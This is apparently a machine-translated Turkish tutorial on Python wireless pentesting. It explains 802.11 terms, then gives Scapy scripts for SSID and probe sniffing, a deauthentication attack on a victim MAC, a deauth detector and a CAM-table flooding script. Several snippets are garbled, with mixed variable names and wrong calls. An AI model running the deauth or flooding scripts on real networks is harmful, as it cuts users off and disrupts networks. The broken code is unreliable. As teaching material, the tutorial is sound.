Kablosuz Ağın Test Edilmesi
Kablosuz sistemler çok fazla esnekliğe sahiptir, ancak diğer yandan ciddi güvenlik sorunlarına da yol açar. Ve bu nasıl ciddi bir güvenlik sorunu haline gelir - çünkü kablosuz bağlantı durumunda saldırganların kablolu ağda olduğu gibi fiziksel erişime sahip olmak yerine saldırmak için sinyalin varlığına sahip olması gerekir. Kablosuz sistemlerin sızma testi, bunu kablolu ağda yapmaktan daha kolay bir iştir. Bir kablosuz ortama karşı gerçekten iyi fiziksel güvenlik önlemleri uygulayamayız, eğer yeterince yakın konumdaysak, havadan akan her şeyi "duyabiliriz" (veya en azından kablosuz adaptörünüz duyabilir).
Önkoşullar
Kablosuz ağın test edilmesi hakkında daha fazla şey öğrenmeye başlamadan önce, terminolojileri ve istemci ile kablosuz sistem arasındaki iletişim sürecini tartışmayı düşünelim.
Önemli Terminolojiler
Şimdi kablosuz ağın pentestlemesi ile ilgili önemli terminolojileri öğrenelim.
Erişim Noktası (AP)
Bir erişim noktası (AP), 802.11 kablosuz uygulamalarındaki merkezi düğümdür. Bu nokta, kullanıcıları ağ içindeki diğer kullanıcılara bağlamak için kullanılır ve aynı zamanda kablosuz LAN (WLAN) ile sabit kablolu ağ arasında ara bağlantı noktası görevi görebilir. WLAN'da AP, verileri ileten ve alan bir istasyondur.
Hizmet Kümesi Tanımlayıcı (SSID)
Temelde bir kablosuz ağa atanan ad olan 0-32 bayt uzunluğunda insan tarafından okunabilir metin dizesidir. Ağdaki tüm cihazlar, kablosuz ağ (Wi-Fi) üzerinden iletişim kurmak için bu büyük / küçük harfe duyarlı adı kullanmalıdır.
Temel Servis Seti Tanımlama (BSSID)
Bir kablosuz erişim noktası (AP) üzerinde çalışan Wi-Fi yonga setinin MAC adresidir. Rastgele oluşturulur.
Kanal numarası
Erişim Noktası (AP) tarafından iletim için kullanılan radyo frekansı aralığını temsil eder.
İstemci ve kablosuz sistem arasındaki iletişim
Anlamamız gereken bir diğer önemli şey, istemci ile kablosuz sistem arasındaki iletişim sürecidir. Aşağıdaki diyagramın yardımıyla aynı şeyi anlayabiliriz -
İşaret Çerçevesi
İstemci ve erişim noktası arasındaki iletişim sürecinde AP, varlığını göstermek için periyodik olarak bir işaret çerçevesi gönderir. Bu çerçeve, SSID, BSSID ve kanal numarasıyla ilgili bilgilerle birlikte gelir.
Prob isteği
Şimdi, istemci cihaz menzil içindeki AP'leri kontrol etmek için bir araştırma isteği gönderecektir. Yoklama talebini gönderdikten sonra, AP'den yoklama yanıtını bekleyecektir. Prob isteği, AP'nin SSID'si, satıcıya özgü bilgiler vb. Gibi bilgileri içerir.
Prob yanıtı
Şimdi, araştırma talebini aldıktan sonra AP, desteklenen veri hızı, yetenek vb. Bilgileri içeren bir araştırma yanıtı gönderecek.
Kimlik doğrulama isteği
Şimdi, istemci cihaz kimliğini içeren bir kimlik doğrulama isteği çerçevesi gönderecektir.
Kimlik Doğrulama yanıtı
Şimdi yanıt olarak AP, kabul veya reddi belirten bir kimlik doğrulama yanıt çerçevesi gönderecektir.
İlişkilendirme talebi
Kimlik doğrulama başarılı olduğunda, istemci cihaz desteklenen veri hızını ve AP SSID'sini içeren bir ilişkilendirme isteği çerçevesi göndermiştir.
Derneğin yanıtı
Şimdi yanıt olarak AP, kabul veya reddi belirten bir ilişkilendirme yanıt çerçevesi gönderecektir. Kabul edilmesi durumunda, istemci cihazının bir ilişkilendirme kimliği oluşturulacaktır.
Python Kullanarak Kablosuz Hizmet Kümesi Tanımlayıcısını (SSID) Bulma
SSID ile ilgili bilgileri hem ham soket yöntemi yardımıyla hem de Scapy kütüphanesini kullanarak toplayabiliriz.
Ham soket yöntemi
Bunu zaten öğrendik mon0kablosuz paketleri yakalar; bu nedenle, monitör modunu şu şekilde ayarlamamız gerekiyor:mon0. Kali Linux'ta, bunun yardımı ile yapılabilir.airmon-ngsenaryo. Bu betiği çalıştırdıktan sonra, kablosuz karta bir isim verecekwlan1. Şimdi aşağıdaki komutun yardımıyla, monitör modunu etkinleştirmemiz gerekiyor.mon0 -
airmon-ng start wlan1
Aşağıda, bize AP'nin SSID'sini verecek ham soket yöntemi olan Python betiği verilmiştir -
Öncelikle soket modüllerini aşağıdaki gibi içe aktarmamız gerekiyor -
import socket
Şimdi üç parametresi olan bir soket oluşturacağız. İlk parametre bize paket arayüzünü (Linux'a özel PF_PACKET ve Windows için AF_INET) anlatır, ikinci parametre bize bunun ham bir soket olup olmadığını söyler ve üçüncü parametre bize tüm paketlerle ilgilendiğimizi söyler.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
Şimdi, bir sonraki satır, mon0 mod ve 0x0003.
s.bind(("mon0", 0x0003))
Şimdi, AP'lerin SSID'sini saklayacak boş bir liste açıklamamız gerekiyor.
ap_list = []
Şimdi aramalıyız recvfrom()paketi alma yöntemi. Koklamanın devam etmesi için sonsuz while döngüsünü kullanacağız.
while True:
packet = s.recvfrom(2048)
Sonraki kod satırı, çerçevenin işaret çerçevesini belirten 8 bit olup olmadığını gösterir.
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Scapy ile SSID algılayıcı
Scapy, Wi-Fi paketlerini kolayca koklamamıza izin veren en iyi kitaplıklardan biridir. Scapy'i ayrıntılı olarak şu adreste öğrenebilirsiniz:https://scapy.readthedocs.io/en/latest/. Başlangıç olarak, Sacpy'yi etkileşimli modda çalıştırın ve iface değerini almak için conf komutunu kullanın. Varsayılan arayüz eth0'dır. Şimdi yukarıdaki kubbeye sahip olduğumuz için, bu modu mon0 olarak değiştirmemiz gerekiyor. Aşağıdaki gibi yapılabilir -
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
Şimdi Scapy'i bir kütüphane olarak içe aktaralım. Ayrıca, aşağıdaki Python betiğinin çalıştırılması bize SSID'yi verecektir -
from scapy.all import *
Şimdi, AP'lerin SSID'sini saklayacak boş bir liste açıklamamız gerekiyor.
ap_list = []
Şimdi adında bir fonksiyon tanımlayacağız Packet_info(), tam paket ayrıştırma mantığına sahip olacaktır. Pkt argümanına sahip olacaktır.
def Packet_info(pkt) :
Bir sonraki açıklamada, sadece geçecek bir filtre uygulayacağız Dot11802.11 trafiği anlamına gelen trafik. Takip eden çizgi aynı zamanda çerçeve tipi O (yönetim çerçevesini temsil eder) ve çerçeve alt tipi 8 (işaret çerçevesini temsil eder) olan trafiği geçiren bir filtredir.
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
Şimdi, koklama işlevi veriyi koklayacak iface değer mon0 (kablosuz paketler için) ve Packet_info işlevi.
sniff(iface = "mon0", prn = Packet_info)
Yukarıdaki Python komut dosyalarını uygulamak için, monitör modunu kullanarak havayı koklayabilen Wi-Fi kartına ihtiyacımız var.
Erişim Noktası İstemcilerini Algılama
Erişim noktalarının istemcilerini tespit etmek için, araştırma istek çerçevesini yakalamamız gerekir. Bunu, Scapy kullanarak SSID dinleyicisi için Python betiğinde yaptığımız gibi yapabiliriz. Vermemiz gerekDot11ProbeReqyoklama istek çerçevesini yakalamak için. Aşağıda, erişim noktalarının istemcilerini tespit etmek için Python betiği verilmiştir -
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
Kablosuz Saldırılar
Pentester açısından kablosuz saldırının nasıl gerçekleştiğini anlamak çok önemlidir. Bu bölümde, iki tür kablosuz saldırıyı tartışacağız -
Kimlik doğrulama (deauth) saldırıları
MAC sel saldırısı
Kimlik doğrulama (deauth) saldırıları
Bir istemci cihaz ile erişim noktası arasındaki iletişim sürecinde, bir istemci bağlantısını kesmek istediğinde, kimlik doğrulama çerçevesini göndermesi gerekir. İstemciden gelen bu çerçeveye yanıt olarak, AP ayrıca bir kimlik doğrulama çerçevesi de gönderecektir. Bir saldırgan, kurbanın MAC adresini taklit ederek ve kimlik doğrulama çerçevesini AP'ye göndererek bu normal işlemden avantaj elde edebilir. Bu nedenle istemci ve erişim noktası arasındaki bağlantı kesilir. Aşağıda kimlik doğrulama saldırısını gerçekleştirecek Python betiği verilmiştir -
Önce Scapy'i bir kütüphane olarak içe aktaralım -
from scapy.all import *
import sys
Aşağıdaki iki ifade, sırasıyla AP ve mağdurun MAC adresini girecektir.
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
Şimdi, kimlik doğrulama çerçevesini oluşturmamız gerekiyor. Aşağıdaki ifade çalıştırılarak oluşturulabilir.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
Sonraki kod satırı, gönderilen paketlerin toplam sayısını temsil eder; burada 500 ve iki paket arasındaki aralıktır.
sendp(frame, iface = "mon0", count = 500, inter = .1)
Çıktı
Yürütme üzerine, yukarıdaki komut aşağıdaki çıktıyı üretir -
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
Bunu, kullanıcı adına erişim noktasına gönderilen yetkisizlik çerçevesinin oluşturulması izler. Bu, aralarındaki bağlantıyı iptal edecektir.
Buradaki soru, Python betiği ile deauth saldırısını nasıl tespit edeceğimizdir. Aşağıdaki Python betiğinin çalıştırılması, bu tür saldırıların tespit edilmesine yardımcı olacaktır -
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
Yukarıdaki komut dosyasında ifade pkt.subtype == 12 deauth çerçevesini belirtir ve global olarak tanımlanan değişken I, paketlerin sayısını belirtir.
Çıktı
Yukarıdaki betiğin çalıştırılması aşağıdaki çıktıyı üretir -
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
MAC adresi sel saldırıları
MAC adresi flooding saldırısı (CAM table flooding attack), bir anahtar bağlantı noktasına bağlı bir saldırganın, farklı sahte kaynak MAC adreslerine sahip çok sayıda Ethernet çerçevesiyle anahtar arayüzünü sular altında bıraktığı bir ağ saldırısı türüdür. CAM Tablo Taşmaları, bir MAC adresi akışı tabloya taşındığında ve CAM tablosu eşiğine ulaşıldığında meydana gelir. Bu, anahtarın bir hub gibi hareket etmesine ve ağın tüm bağlantı noktalarında trafikle dolmasına neden olur. Bu tür saldırıların başlatılması çok kolaydır. Aşağıdaki Python betiği, bu tür CAM sel saldırısının başlatılmasına yardımcı olur -
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
Bu tür bir saldırının temel amacı, anahtarın güvenliğini kontrol etmektir. MAC flooding saldırısının etkisini azaltmak istiyorsak port güvenliğini kullanmamız gerekiyor.